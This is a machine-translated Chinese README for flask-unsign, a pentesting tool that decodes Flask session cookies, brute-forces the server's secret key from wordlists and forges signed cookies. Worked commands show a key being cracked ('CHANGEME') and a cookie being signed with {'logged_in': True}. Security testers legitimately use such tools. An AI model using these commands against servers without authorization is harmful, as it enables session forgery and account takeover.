Flask unsign是一个渗透测试实用程序,它试图通过一个签名会话,对照常用和公开的密钥(来自Books、Github、StackOverflow和各种其他来源)的单词列表来验证Flask服务器的密钥,从而揭开它的密钥。
flask-unsign的Python项目详细描述
烧瓶无符号
命令行工具,通过猜测密钥来获取、解码、强制执行和制作烧瓶应用程序的会话cookie。 对于独立的wordlist组件,请访问flask-unsign-wordlist存储库。
要求
- python 3.6
安装
要安装应用程序,只需使用pip:
$ pip3 install flask-unsign[wordlist]
如果您只想安装核心代码,请省略[wordlist]
后缀:
$ pip3 install flask-unsign
要出于开发目的安装该工具,请运行以下命令(下载副本后):
$ pip3 install -e .[test]
用法
要获得所有可能选项的概述,只需调用flask unsign without 任何这样的参数:
$ flask-unsign
获取解码会话cookies
由于flask cookies是签名的和未加密的,因此
可以对会话数据进行本地解码。为此,可以使用--decode
争论。
会话cookies可以通过使用代理检查您的http请求来获得
像burp代理一样,使用浏览器的网络检查器或浏览器
查看/更改cookies的扩展。默认情况下,flask使用会话名称
"session"
。
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}
您还可以通过
传递--server
参数,而不是--cookie
参数。do注释
但是,并不是所有网页都可能返回会话,因此请确保传递
是的网址。
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}
未签名(强制使用密钥)
在获得一个示例会话cookie之后,您将能够尝试使用暴力
服务器的密钥。如果你幸运的话,这可能会被设置成
猜猜看,或者是在网上找到的,可能在你的一个词表里。为了
这样,就可以使用--unsign
参数。
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'
签名(会话操作)
一旦你获得了服务器的密钥,你就可以自己设计
自定义会话数据。为此,可以使用--sign
参数。
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU
故障排除
- 安装程序会导致错误
- 您可能使用了错误的
pip
二进制文件,请尝试使用 以下命令:python3.6 -m pip install flask-unsign
- 您可能使用了错误的
- 我找到了一个密钥,但我精心编制的会话不起作用!
- 可能您的目标服务器使用的是
itsdangerous。由于
an issue带定时
会话,时间戳生成算法已更改。
要生成旧签名,请尝试使用
--legacy
选项。
- 可能您的目标服务器使用的是
itsdangerous。由于
an issue带定时
会话,时间戳生成算法已更改。
要生成旧签名,请尝试使用
- my wordlist不工作
- 单词列表应以换行分隔
python strings
(意味着您需要将它们封装在引号中),因此
二进制字符串可以很容易地以换行格式存储。如果你不想
这样,您可以通过传递
--no-literal-eval
来禁用此功能。 争论。
- 单词列表应以换行分隔
python strings
(意味着您需要将它们封装在引号中),因此
二进制字符串可以很容易地以换行格式存储。如果你不想
这样,您可以通过传递
工作原理
如果你想知道这到底是怎么回事,请参考我的 blog post 这将非常详细地解释这一点,包括如何保护您自己的服务器免受此攻击的指南。
许可证
麻省理工学院许可证
著作权(C)2019 Luke Paris(悖论)
兹免费准许任何人取得副本 本软件和相关文档文件(“软件”)的 在软件中不受限制,包括但不限于 使用、复制、修改、合并、发布、分发、再授权和/或出售 软件的副本,并允许软件的用户 在满足以下条件的情况下,可以这样做:
上述版权公告及本许可公告须包括在 软件的拷贝或大部分。
本软件按“原样”提供,无任何形式的保证,明示或 默示的,包括但不限于适销性保证, 为某一特定目的而健身。在任何情况下 作者或版权所有者应对任何索赔、损害或其他 责任,无论是在合同诉讼、侵权诉讼或其他诉讼中, 不属于或与本软件有关,或使用或与本软件的其他交易有关。 软件。